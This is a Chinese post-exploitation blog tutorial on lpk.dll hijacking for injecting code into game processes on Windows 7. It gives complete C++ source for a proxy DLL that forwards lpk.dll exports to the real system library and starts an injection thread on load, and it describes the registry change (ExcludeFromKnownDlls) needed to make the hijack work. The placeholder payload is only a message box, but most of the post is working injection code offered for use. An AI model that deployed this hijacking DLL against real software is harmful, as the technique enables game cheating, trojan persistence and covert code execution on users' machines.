后渗透篇:劫持技术(lpk.dll劫持游戏注入【Win7 实例】)
当你的才华
还撑不起你的野心时
那你就应该静下心来学习
lpk.dll劫持游戏注入
由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在 Windows系统目录中查找,最后是在 环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的 输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
利用这种方法取得控制权后,可以对主程序进行补丁。此种方法只对除kernel32.dll、ntdll.dll等核心系统库以外的DLL有效,如网络应用程序的 ws2_32.dll、游戏程序中的 d3d8.dll,还有大部分应用程序都调用的lpk.dll、 sxs.dll,这些DLL都可被劫持。
伪造的dll制作好后,放到程序当前目录下,这样当原程序调用 原函数时就调用了伪造的dll的同名函数,进入劫持DLL的代码,处理完毕后,再调用原DLL此函数。
这种补丁技术,对 加壳保护的软件很有效,选择挂接的函数最好是 在壳中没有被调用的,当挂接函数被执行时,相关的代码已被解压,可以直接补丁了。在有些情况下,必须用计数器统计挂接的函数的调用次数来接近OEP。此方法巧妙地绕过了壳的复杂检测,很适合加壳程序的补丁制作。
一些木马或病毒也会利用DLL劫持技术搞破坏,因此当在应用程序目录下发现系统一些 DLL文件存在时,如lpk.dll,应引起注意。
在本次中,我们将要利用这个技术来实现对游戏窗口进行注入,有很多方法都可以实现,比如劫持lpk.dll ,或者是d3d8thk.dll等都可以实现。
下面首先以lpk.dll为例来进行说明
- // 导出函数
- #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
- #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
- #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
- #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
- //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
- #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
- #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
- #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
- #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
- #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
- #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
首先是对lpk动态链接库中的函数进行导出
- // 宏定义
- #define EXTERNC extern "C"
- #define NAKED __declspec(naked)
- #define EXPORT __declspec(dllexport)
- #define ALCPP EXPORT NAKED
- #define ALSTD EXTERNC EXPORT NAKED void __stdcall
- #define ALCFAST EXTERNC EXPORT NAKED void __fastcall
- #define ALCDECL EXTERNC NAKED void __cdecl
宏定义,用来指明函数的调用方式等东西
- //LpkEditControl导出的是数组,不是单一的函数(by Backer)
- EXTERNC void __cdecl AheadLib_LpkEditControl(void);
- EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };
由于 LpkEditControl中存的是数组数组,所以需要拷贝过来,而不是直接导出
- // AheadLib 命名空间
- namespace AheadLib
- {
- HMODULE m_hModule = NULL; // 原始模块句柄
- // 加载原始模块
- inline BOOL WINAPI Load()
- {
- TCHAR tzPath[MAX_PATH];
- TCHAR tzTemp[MAX_PATH * 2];
- GetSystemDirectory(tzPath, MAX_PATH);
- //MessageBox(NULL, tzPath, "path", MB_OK);
- //GetCurrentDirectory(MAX_PATH, tzPath);
- lstrcat(tzPath, TEXT("\\lpk.dll"));
- m_hModule = LoadLibrary(tzPath);
- if (m_hModule == NULL)
- {
- wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);
- MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
- };
- //MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);
- return (m_hModule != NULL);
- }
- // 释放原始模块
- inline VOID WINAPI Free()
- {
- if (m_hModule)
- {
- FreeLibrary(m_hModule);
- }
- }
- // 获取原始函数地址
- FARPROC WINAPI GetAddress(PCSTR pszProcName)
- {
- FARPROC fpAddress;
- CHAR szProcName[16];
- TCHAR tzTemp[MAX_PATH];
- fpAddress = GetProcAddress(m_hModule, pszProcName);
- if (fpAddress == NULL)
- {
- if (HIWORD(pszProcName) == 0)
- {
- wsprintf(szProcName, "%d", pszProcName);
- pszProcName = szProcName;
- }
- wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
- MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
- ExitProcess(-2);
- }
- return fpAddress;
- }
- }
- 下面就是我们要实现dll注入的地方,一般的dll注入都是在这存入关键代码
- //函数声明
- void WINAPIV Init(LPVOID pParam);
- void WINAPIV Init(LPVOID pParam)
- {
- //在这里添加DLL加载代码
- // LoadLibrary(TEXT(".\\MFC_DLL.dll"));
- MessageBox(NULL, "lpkdll劫持成功", "lpkk劫持", MB_OK);
- return;
- }
下面是入口函数:
- // 入口函数
- BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
- {
- if (dwReason == DLL_PROCESS_ATTACH)
- {
- DisableThreadLibraryCalls(hModule);
- if (Load())
- {
- //LpkEditControl这个数组有14个成员,必须将其复制过来
- memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
- _beginthread(Init, NULL, NULL);
- }
- else{
- // MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);
- return FALSE;
- }
- }
- else if (dwReason == DLL_PROCESS_DETACH)
- {
- Free();
- }
- return TRUE;
- }
- 然后是函数导出:
- // 导出函数
- ALCDECL AheadLib_LpkInitialize(void)
- {
- GetAddress("LpkInitialize");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkTabbedTextOut(void)
- {
- GetAddress("LpkTabbedTextOut");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkDllInitialize(void)
- {
- GetAddress("LpkDllInitialize");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkDrawTextEx(void)
- {
- GetAddress("LpkDrawTextEx");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkEditControl(void)
- {
- GetAddress("LpkEditControl");
- __asm jmp DWORD ptr[EAX];//这里的LpkEditControl是数组,eax存的是函数指针
- }
- // 导出函数
- ALCDECL AheadLib_LpkExtTextOut(void)
- {
- GetAddress("LpkExtTextOut");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkGetCharacterPlacement(void)
- {
- GetAddress("LpkGetCharacterPlacement");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
- {
- GetAddress("LpkGetTextExtentExPoint");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkPSMTextOut(void)
- {
- GetAddress("LpkPSMTextOut");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkUseGDIWidthCache(void)
- {
- GetAddress("LpkUseGDIWidthCache");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_ftsWordBreak(void)
- {
- GetAddress("ftsWordBreak");
- __asm JMP EAX;
- }
函数导出的目的就是让当前dll跳转到系统下的lpk.dll目录下执行相应的函数。这样就实现了先执行自己的伪造的lpk.dll(在其中完成代码的注入等一系列功能),然后在跳转到正常的lpk.dll函数中,就完成了lpk.dll的劫持
最后就是兼容win7,就需要在注册表中添加一个多字节剂的命令 ExcludeFromKnownDlls ,其中的值为 lpk.dll 就可以实现lpk.dll的劫持了
具体源码如下:
- // lpk.cpp : Defines the entry point for the DLL application.
- //
- // 头文件
- #include "stdafx.h"
- #include <process.h>
- #include<Windows.h>
- // 导出函数
- #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1")
- #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2")
- #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3")
- #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4")
- //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5")
- #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6")
- #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7")
- #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8")
- #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9")
- #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10")
- #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11")
- // 宏定义
- #define EXTERNC extern "C"
- #define NAKED __declspec(naked)
- #define EXPORT __declspec(dllexport)
- #define ALCPP EXPORT NAKED
- #define ALSTD EXTERNC EXPORT NAKED void __stdcall
- #define ALCFAST EXTERNC EXPORT NAKED void __fastcall
- #define ALCDECL EXTERNC NAKED void __cdecl
- //LpkEditControl导出的是数组,不是单一的函数(by Backer)
- EXTERNC void __cdecl AheadLib_LpkEditControl(void);
- EXTERNC __declspec(dllexport) void(*LpkEditControl[14])() = { AheadLib_LpkEditControl };
- //添加全局变量
- // AheadLib 命名空间
- namespace AheadLib
- {
- HMODULE m_hModule = NULL; // 原始模块句柄
- // 加载原始模块
- inline BOOL WINAPI Load()
- {
- TCHAR tzPath[MAX_PATH];
- TCHAR tzTemp[MAX_PATH * 2];
- GetSystemDirectory(tzPath, MAX_PATH);
- //MessageBox(NULL, tzPath, "path", MB_OK);
- //GetCurrentDirectory(MAX_PATH, tzPath);
- lstrcat(tzPath, TEXT("\\lpk.dll"));
- m_hModule = LoadLibrary(tzPath);
- if (m_hModule == NULL)
- {
- wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath);
- MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
- };
- //MessageBox(NULL, "原始模块加载成功", TEXT("AheadLib"), MB_ICONSTOP);
- return (m_hModule != NULL);
- }
- // 释放原始模块
- inline VOID WINAPI Free()
- {
- if (m_hModule)
- {
- FreeLibrary(m_hModule);
- }
- }
- // 获取原始函数地址
- FARPROC WINAPI GetAddress(PCSTR pszProcName)
- {
- FARPROC fpAddress;
- CHAR szProcName[16];
- TCHAR tzTemp[MAX_PATH];
- fpAddress = GetProcAddress(m_hModule, pszProcName);
- if (fpAddress == NULL)
- {
- if (HIWORD(pszProcName) == 0)
- {
- wsprintf(szProcName, "%d", pszProcName);
- pszProcName = szProcName;
- }
- wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName);
- MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP);
- ExitProcess(-2);
- }
- return fpAddress;
- }
- }
- using namespace AheadLib;
- //函数声明
- void WINAPIV Init(LPVOID pParam);
- void WINAPIV Init(LPVOID pParam)
- {
- //在这里添加DLL加载代码
- // LoadLibrary(TEXT(".\\MFC_DLL.dll"));
- MessageBox(NULL, "lpkdll劫持成功", "lpkk劫持", MB_OK);
- return;
- }
- // 入口函数
- BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
- {
- if (dwReason == DLL_PROCESS_ATTACH)
- {
- DisableThreadLibraryCalls(hModule);
- if (Load())
- {
- //LpkEditControl这个数组有14个成员,必须将其复制过来
- memcpy((LPVOID)(LpkEditControl + 1), (LPVOID)((int*)GetAddress("LpkEditControl") + 1), 52);
- _beginthread(Init, NULL, NULL);
- }
- else{
- // MessageBox(NULL, "初始化失败", "123 ERROR", MB_ICONSTOP);
- return FALSE;
- }
- }
- else if (dwReason == DLL_PROCESS_DETACH)
- {
- Free();
- }
- return TRUE;
- }
- // 导出函数
- ALCDECL AheadLib_LpkInitialize(void)
- {
- GetAddress("LpkInitialize");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkTabbedTextOut(void)
- {
- GetAddress("LpkTabbedTextOut");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkDllInitialize(void)
- {
- GetAddress("LpkDllInitialize");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkDrawTextEx(void)
- {
- GetAddress("LpkDrawTextEx");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkEditControl(void)
- {
- GetAddress("LpkEditControl");
- __asm jmp DWORD ptr[EAX];//这里的LpkEditControl是数组,eax存的是函数指针
- }
- // 导出函数
- ALCDECL AheadLib_LpkExtTextOut(void)
- {
- GetAddress("LpkExtTextOut");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkGetCharacterPlacement(void)
- {
- GetAddress("LpkGetCharacterPlacement");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkGetTextExtentExPoint(void)
- {
- GetAddress("LpkGetTextExtentExPoint");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkPSMTextOut(void)
- {
- GetAddress("LpkPSMTextOut");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_LpkUseGDIWidthCache(void)
- {
- GetAddress("LpkUseGDIWidthCache");
- __asm JMP EAX;
- }
- // 导出函数
- ALCDECL AheadLib_ftsWordBreak(void)
- {
- GetAddress("ftsWordBreak");
- __asm JMP EAX;
- }
参考链接:
https://blog.csdn.net/u011619422/article/details/47002145
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重
后渗透篇:劫持技术(lpk.dll劫持游戏注入【Win7 实例】)相关推荐
- 后渗透篇:COM劫持及加载技术
滥用COM注册表结构:劫持及加载技术 译文链接:https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-load ...
- 后渗透篇:映像劫持技术
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 映像劫持技术 所谓的映像劫持就是Image File Execution Options(IFEO),位于注册表的 HKEY_LOCAL_MAC ...
- Win7下实现 lpk.dll劫持游戏注入
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件.首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个 ...
- 【PC样本分析】 一次对lpk.dll劫持木马的分析
前言 这是一个比较老的样本了,我是在其他论坛里面找到的这个样本,这里写这个文章是通过从内部来剖析该木马的.如果不对的地方还请各位大神们赐教,不足的地方还希望大家能够给我补充一下.谢谢 dll劫持原理 ...
- 后渗透篇:常见backdoor和persistence方式方法
常见backdoor和persistence方式方法 系统工具替换后门 Image 劫持辅助工具管理器 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT ...
- 后渗透篇:COM Object hijacking 后门实现思路——劫持CAccPropServicesClass and MMDeviceEnumerator
0x00 前言 在之前的文章<Use CLR to maintain persistence>介绍了通过 CLR 劫持所有 .Net 程序的方法,无需管理员权限,可用作后门.美中不足的是通 ...
- C/C++劫持技术(函数劫持、dll注入、动态库注入、HOOK)
目录 劫持 detours 实现劫持 步骤: 1. 安装Detours 2. 编译Detours工程 3. 把静态库和头文件引入工程 4. 函数指针与函数的定义 5.拦截 劫持QQ 实现劫持syste ...
- 后渗透篇:利用Volatility进行入侵痕迹分析
本文利用Volatility进行内存取证,分析入侵攻击痕迹,包括网络连接.进程.服务.驱动模块.DLL.handles.检测进程注入.检测Meterpreter.cmd历史命令.IE浏览器历史记录.启 ...
- 后渗透篇:Windows 2008 server提权之突破系统权限安装shift后门
当你的才华 还撑不起你的野心时 那你就应该静下心来学习 目录 Windows 2008 server提权之突破系统权限安装shift后门 0x01 前言 0x02 主要操作部分 0x03 主要命令组成 ...
最新文章
- 深度学习CTR预估模型凭什么成为互联网增长的关键?
- 如何自动保存 Spring Boot 应用进程号?
- 使用qwt作曲线图——有网格线背景的画法
- 冒号课堂§6.4:后台脚本
- Node.js-Express框架
- 【Flink】Flink 报错 Hash join exceeded Too many duplicate keys
- PHP第十次实验总结,The Clean Architecture in PHP 读书笔记(十)
- hypermesh安装包百度云_HYPERMESH11.0 64bt软件
- java lambda表达式详解_java8新特性-Lambda表达式的详解(从0开始)
- Ubuntu 安装 OpenCV(亲测有效)
- 利用MEGA做序列比对
- pdf如何转换成word文档格式
- Gflops是什么?
- H266 ISP 帧内子划分
- HTTP:超文本传输协议
- docker下载gcr.io镜像
- SCOI-2017 游记 SCOI-2017 酱油记 SCOI-2017 没有滚粗资格的记
- SpringBoot整合Elasticsearch,中软国际java二面华为面试
- Joplin+七牛云+vscode 免费云端同步笔记工具(跨平台)
- Typora插入图片的合理保存【windows平台】